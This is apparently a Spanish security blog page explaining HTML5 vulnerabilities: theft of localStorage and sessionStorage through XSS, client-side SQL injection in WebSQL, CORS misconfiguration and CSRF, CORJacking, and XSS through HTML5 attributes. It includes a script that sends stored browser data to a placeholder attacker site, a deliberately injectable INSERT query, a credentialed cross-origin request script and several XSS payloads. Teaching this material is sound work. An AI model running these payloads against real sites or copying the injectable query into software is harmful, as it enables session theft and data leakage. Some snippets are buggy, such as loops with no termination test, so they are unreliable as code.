Una de las características más sobresalientes en HTML5 para el desarrollo de aplicaciones RIA, es la capacidad que tienen ahora los clientes de almacenar datos que posteriormente pueden ser utilizados por las aplicaciones. El mecanismo de almacenamiento de HTML5, también conocido como “Client-Site storage” es similar a las cookies tradicionales, sin embargo es más completo y robusto ya que no solamente extiende el tamaño de los datos que se pueden guardar, que en el caso de las cookies es solamente de 4kb, mientras que en el caso del almacenamiento local en HTML5 puede llegar hasta los 10MB de información. Por otro lado, a diferencia de las cookies, los datos almacenados no caducan y además, no se envían en cada petición entre cliente y servidor como si que ocurre con las cookies. El mecanismo de almacenamiento local de HTML5, es una mejora considerable a la hora de guardar datos en el cliente sin depender de las cookies tradicionales y cuenta con una API que permite acceder y manipular sus elementos por medio de Javascript.

En la especificación de HTML5 existen tres modelos de almacenamiento en el lado del cliente que son: Local, Session y Global. En el almacenamiento local, el elemento “localStorage” permite guardar datos de forma persistente en el cliente ya que dichos datos no se eliminan automáticamente y es necesario limpiar dicho espacio de almacenamiento de forma explicita. El almacenamiento del tipo Session funciona básicamente igual que el almacenamiento del tipo Local, con la diferencia de que el objeto “sessionStorage” se limpia automáticamente cuando el usuario cierra el navegador web o la pestaña del sitio web.

El almacenamiento Global es un espacio de memoria en el navegador en el que los sitios web pueden almacenar datos persistentes que no necesitan ser enviados posteriormente al servidor y aunque en los primeros borradores de la especificación se mencionaba que los valores almacenados en dicho espacio podían ser públicos a cualquier dominio, los desarrolladores de los navegadores web más populares no adoptaron esa recomendación por cuestiones de seguridad y los datos almacenados en dicha zona, ahora se asocian automáticamente con el dominio en cuestión. En las versiones más recientes de navegadores como Chrome o Firefox, el objeto “globalStorage” deja de ser soportado y en su lugar se utiliza el objeto “localStorage”, con lo cual los tipos de almacenamiento Local y Global se fusionan en uno solo por medio del uso del objeto “localStorage”.

Ahora bien, una vez comprendido el funcionamiento del “Client-Site storage” definido en HTML5, se puede apreciar rápidamente que si existe una API para acceder a los objetos que se encuentran almacenados en dicho espacio, un atacante podría abusar de dicha API para acceder a información sensible que se encuentre almacenada allí y eso es justo lo que puede ocurrir cuando una aplicación web con HTML5 tiene vulnerabilidades que permiten la ejecución arbitraria de código, como por ejemplo, una vulnerabilidad del tipo XSS.

 

<script language= "javascript">
var sessionNames;
for(i =0; sessionStorage.length; i++){
   sessionNames += sessionStorage.key(i);
}
var localNames;
for(i =0; localStorage.length; i++){
   localNames += localStorage.key(i);
}
</script>

Los elementos que se almacenan en los objetos “localStorage” y “sessionStorage” son diccionarios compuestos por pares de clave=valor, con lo cual, un atacante podría estar interesado en extraer todos los nombres de las claves disponibles en ambos contextos para posteriormente obtener sus valores.

<script language= "javascript">
   var xmlHttp = null;
   xmlHttp = new XMLHttpRequest();
   localData ="";
   for(i in localStorage){
         localData += localStorage.getItem(i)
   }
   sessionData = "";
   for(i in sessionStorage){
         sessionData += sessionStorage.getItem(i)
   }
   xmlHttp.open( "GET", “http://www.attackersite.com?data=”+localData+sessionData+globalData, false );
   xmlHttp.send(null)
</script>

Con las instrucciones anteriores se extraen todos los elementos que se encuentran almacenados en el “localStorage” y en el “sessionStorage”, posteriormente se envía dicha información a un servidor remoto utilizando el objeto XMLHttpResponse para iniciar una petición HTTP vía ajax.

Vulnerabilidades de SQL Injection en el cliente. Implementaciones con WebSQL inseguras.

Tradicionalmente las vulnerabilidades del tipo SQL Injection se han asociado con la extracción de información y posible ejecución arbitraria de código en el lado del servidor, sin embargo, en la especificación de HTML5 también esto ha cambiado, ya que ahora en el lado del cliente también es posible almacenar datos en bases de datos relacionales. WebSQL es el mecanismo mediante el cual, es posible crear una base de datos relacional con el fin de almacenar información que posteriormente será utilizada por la aplicación web. Se trata de una idea muy interesante, ya que permite crear aplicaciones web en las que los clientes podrán seguir interactuando con la aplicación aunque la conexión con el servidor no sea constante. Por otro lado, del mismo modo que ocurre con los objetos del tipo Storage mencionados anteriormente, es posible utilizar Javascript para consultar y manipular dichas bases de datos.

Las vulnerabilidades del tipo “Client-Site SQL Injection” no son muy diferentes a cualquier vulnerabilidad SQL Injection tradicional, de hecho, lo único que cambia es el contexto de ejecución. Esto quiere decir que la principal fuente de problemas relacionados con este tipo de vulnerabilidades se encuentran en la incorrecta o insuficiente validación de los datos utilizados para conformar las consultas y del mismo modo, la mejor forma de prevenir este tipo de errores, consiste en validar los datos de entrada y utilizar estamentos preparados en lugar de concatenar los valores de entrada con la cadena de la consulta SQL.

En navegadores modernos como Chrome, existen herramientas de desarrollo que permiten visualizar las bases de datos creadas en el lado del cliente cuando se visita un sitio web con soporte a WebSQL.

Para utilizar la API de WebSQL y acceder a bases de datos “Client-Side” se debe utilizar la API disponible para ello, la cual define tres elementos principales para acceso y modificación de datos: “openDatabase”, “transaction”, “execute”. El siguiente script enseña el uso de estas funciones en una página web y como se podrá apreciar después de inspeccionar el código, hay una vulnerabilidad SQL Injection que se puede detectar fácilmente.

<script language= "javascript">
    db = openDatabase("sqli", "1.0", "Web SQL Database Client-side SQL Injection",2000);
    if(db) {
       db.transaction(function(tx){tx.executeSql("DROP TABLE IF EXISTS table_test",[]);});
       db.transaction(function(tx){tx.executeSql("CREATE TABLE IF NOT EXISTS table_test (id REAL UNIQUE, description TEXT)",[]);});
    }
    db.transaction(
        function(tx) {
            tx.executeSql('DELETE FROM table_test WHERE id=?',[id]);
        })
    
    db.transaction(
        function(tx) {
            tx.executeSql("INSERT INTO table_test (id, description) values (" + id + ",'" + description + "')", []);
        })
</script>

En el código anterior, se puede apreciar que se intenta crear una base de datos con nombre “sqli” y posteriormente se ejecutan las instrucciones SQL para borrar y crear la tabla “table_test”. Posteriormente se crean las funciones de callback para ejecutar dos transacciones, la primera para borrar un registro filtrando por identificador y la segunda para insertar un registro.

La instrucción “DELETE” no tiene ningún problema en términos de seguridad, ya que la query SQL se encuentra parametrizada, sin embargo en el caso de la instrucción “INSERT”, se construye la query concatenando los valores que se deben insertar en la tabla “table_test”, generando de esta forma un problema de SQL Injection que puede ser explotable y que puede suponer la filtración de información sensible.
En el próximo artículo, más sobre vulnerabilidades en aplicaciones con HTML5

Saludos y Happy Hack!

Vulnerabilidades comunes en HTML5 – Configuraciones inseguras con CORS – Parte 1

octubre 8, 2014 4 comentarios

HTML5 en una especificación muy conocida que permite a los desarrolladores crear aplicaciones del tipo RIA (Rich Internet Applications) y aunque incluye características que se encuentran soportadas en prácticamente todos los navegadores modernos, algunas de dichas características pueden representar problemas de seguridad muy serios que en versiones previas de HTML5 no se presentaban. HTML5 ahora es una combinación de varios elementos que permiten mejorar la navegabilidad y la experiencia de usuario gracias al uso de componentes como XMLHttpRequest2 (XHR-Level2), Web Sockets, Cross Origin Resource Sharing (CORS), localstorage, webSQL y otras mejoras relacionadas con el renderizado de componentes HTML en el navegador web. Muchas de estas nuevas características recaen directamente sobre el navegador del cliente y habilitan un espectro de ataque mucho más amplio que con versiones antiguas de la especificación, algo que los atacantes en Internet ahora buscan y explotan diariamente.
Algunos de los escenarios de ataque más comunes en navegadores y aplicaciones que soportan HTML5 y que no se encuentran debidamente aseguradas se listan a continuación.

CORS y ataques CSRF

SOP (Same Origin Policy) es una política que ha sido bastante efectiva a la hora de impedir que un dominio concreto pueda acceder a recursos de un dominio distinto. Por este motivo, gracias a SOP un dominio determinado no puede acceder directamente a los recursos (tales como cookies, árbol DOM, comunicaciones, etc) de un dominio distinto del suyo. En la especificación de HTML5, se ha implementado una característica interesante llamada CORS (Cross Origin Resource Sharing), la cual relaja un poco la política SOP y permite que los recursos de un dominio concreto se puedan compartir con otros dominios. Para hacer uso de esta característica, solamente es necesario utilizar algunas cabeceras HTTP que un navegador con soporte a CORS, entenderá y utilizará adecuadamente. El problema con este mecanismo, es que si no se configura adecuadamente, podría permitirle a un atacante acceder a recursos sensibles de un dominio concreto (como cookies de sesión) y llevar a cabo un ataque típico del tipo CSRF. Las cabeceras HTTP que le dan sentido CORS y que permiten una potencial brecha de seguridad son las siguientes:
Petición
Origin, Access-Control-Request-Method, Access-Control-Request-Headers
Respuesta
Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Expose-Headers, Access-Control-Allow-Max-Age, Access-Control-Allow-Allow-Methods, Access-Control-Allow-Allow-Headers

Estas cabeceras son específicas para el funcionamiento de CORS y en el caso de que se encuentren incluidas en las respuestas devueltas por un servidor web, indica que CORS es soportado y que posiblemente, un atacante puede acceder a recursos compartidos a los que normalmente no debería tener autorización.

Ejemplo:
Suponiendo que la víctima tiene abierto en su navegador varias pestañas con sitios web en los que se encuentra navegando. Uno de dichos sitios tiene CORS habilitado y las respuestas a las peticiones incluyen la cabecera “Access-Control-Allow-Origin” con el valor “*” y otro de dichos sitios web es controlado por un atacante en Internet.
El atacante enviará un script malicioso al navegador de la víctima que se encargará de utilizar el objeto XMLHttpRequest para ejecutar una petición POST hacia el dominio que tiene CORS habilitado, es un dominio *distinto* del dominio del atacante y dicha petición será silenciosa y pasará inadvertida para el usuario, ya que su navegabilidad no se verá afectada y los componentes HTML que se encuentra visualizando no han tenido ningún tipo de cambio.
Con las condiciones descritas anteriormente, el atacante podrá acceder a datos sensibles del usuario que se encuentra autenticado en la aplicación web vulnerable, accediendo de esta forma a recursos tan importantes como la cookie de sesión del sitio web en el que el usuario se ha identificado, dando lugar a una fuga de información y posteriormente a un ataque de suplantación de identidad utilizando la información de acceso (cookie de sesión) del usuario identificado. En efecto, estamos hablando de un ataque clásico del tipo CSRF.
La siguiente imagen enseña un sitio web con CORS habilitado y como se puede apreciar, la cabecera “Access-Control-Allow-Origin” tiene el valor “*”

Sin nombre

Si el usuario se encuentra logueado y navega a un sitio web controlado por un atacante, el cual contiene un script como el que se enseña a continuación, el atacante podrá acceder a información sensible que le permitirá suplantar la identidad del usuario.

	<script language= “javascript” type= “text/javascript">
	function corsrequest() {
		var http;
		http = XMLHttpRequest();
		http.open(“POST”, “http://vulncors-site.com/”, true);
		http.setRequestHeader(“Content-Type”, “text/plain”);
		http.withCredentials= “true”;
		http.onreadystatechange = function() {
		if (http.readyState == 4) {
			var response = http.responseText
			document.getElementById(“responseFromVictim”).innerHTML = response;
		}
	}
	http.send(null)
	}
	</script>

Como se puede apreciar, el atacante realizará una petición “POST” al sitio web vulnerable con el fin de recuperar información sobre el usuario identificado en el sistema, para tal fin incluye el atributo “withCredentials” con el valor “true” para que el servidor web replique en la respuesta el contenido de la cookie de sesión del usuario. Hasta este punto, el atacante tiene todos los elementos necesarios para suplantar la identidad del usuario sin mayores dificultades, produciendo una vulnerabilidad del tipo CSRF.

CORS y CORJacking
Continuando con la explicación sobre las posibles brechas de seguridad que pueden incluirse con CORS, otro tipo de vulnerabilidad que se presenta en las aplicaciones web RIA con HTML5 es la conocida como CORJacking, la cual consiste en la capacidad que tiene un atacante de modificar dinámicamente la estructura DOM de un sitio web con CORS habilitado y mal configurado. De esta forma, el atacante podrá modificar algunos atributos de los elementos cargados en el árbol DOM del sitio web con CORS habilitado e incorrectamente configurado, para controlar la interacción del usuario con los contenidos del sitio web vulnerable.

Ejemplo:
Suponiendo que una aplicación web con CORS habilitado y mal configurado tiene un elemento dinámico como por ejemplo un fichero Flash, SilverLight o un fichero de vídeo o audio. Un atacante puede suplantar dicho contenido navegando por la estructura DOM y modificar la ubicación de dicho recurso por otra ruta que apunte a un recurso cuidadosamente creado por el atacante. Si el contenido dinámico servido por el atacante, tiene la misma apariencia visual que el contenido original de la aplicación web, el usuario no notará la diferencia y creerá que interactúa con el elemento original. Más grave aun, cuando se trata de contenidos Flash o similares que intervienen en operaciones de negocio de la aplicación, como por ejemplo un componente en Flash para recibir las credenciales de acceso de los usuarios.

Etiquetas, atributos y eventos HTML5 inseguros

Algunos etiquetas de las especificaciones anteriores de HTML contienen atributos y eventos muy interesantes que permiten que un usuario pueda interactuar de una forma mucho más amigable con dichos elementos, sin embargo, muchos de los nuevos atributos y etiquetas en HTML5 permiten la ejecución de código JavaScript, algo de lo que se podría aprovechar un atacante para producir vulnerabilidades XSS o CSRF.

Ejemplo:
Hay varios atributos y etiquetas nuevas en HTML5 que permiten la ejecución de código JavaScript de forma nativa. Una de las más comunes, es la etiqueta “video” y su atributo “onerror” que se activará automáticamente cuando el recurso que debe cargar la etiqueta “video” no puede cargarse.

<video source onerror="javascript:alert(‘XSS’)">

El atributo “autofocus” que en HTML5 se encuentra disponible en todos los elementos HTML de entrada, también puede representar un problema cuando no se valida adecuadamente el valor del atributo “onfocus” en el momento en el que se recarga la página.

<input autofocus onfocus= alert(‘XSS’)>
<select autofocus onfocus= alert(‘XSS’)>
<textarea autofocus onfocus= alert(‘XSS’)>
<keygen autofocus onfocus= alert(‘XSS’)>
<keygen autofocus onfocus= write(‘XSS’)>
 

Otro atributo potencialmente peligroso es “formaction” de la etiqueta “form”, el cual también admite la ejecución de código JavaScript.

<input autofocus onfocus= alert(‘XSS’)>
<select autofocus onfocus= alert(‘XSS’)>
<textarea autofocus onfocus= alert(‘XSS’)>
<keygen autofocus onfocus= alert(‘XSS’)>
<keygen autofocus onfocus= write(‘XSS’)>
 

Existen varias etiquetas y atributos que son consideradas peligrosas si no se aplican las validaciones de datos adecuadas, para ver una lista mucho más completa, se recomienda visitar el sitio HTML5 Security Cheatsheet: https://html5sec.org/

En una próxima entrada, más sobre riesgos y vulnerabilidades cuando en el uso de las nuevas características implementadas en HTML5

Un saludo y Happy Hack!

Hacking con Python Parte 10 – Mechanize para interactuar con aplicaciones web

abril 8, 2014 5 comentarios

WEB HACKING – Atacando DOJO InsecureWebApp – Arachni contra Insecure WebApp – Parte XXXI

julio 17, 2013 Deja un comentario

Como se ha visto en el articulo anterior, algunos de los plugins de W3AF son bastante útiles para conseguir de forma rápida, información sobre una aplicación web y la infraestructura del servidor. En el articulo anterior, solamente se han incluido algunos plugins de descubrimiento de W3AF, en esta publicación, vamos a utilizar algunos de los plugins de auditoria y haremos una corta introducción a Arachni, el cual, como en el caso de W3AF, es una herramienta muy completa para la ejecución de pruebas de penetración contra aplicaciones web y aunque ya viene incluida en Dojo, es interesante realizar una instalación manual de la herramienta con la última versión disponible.

Leer más…

A %d blogueros les gusta esto: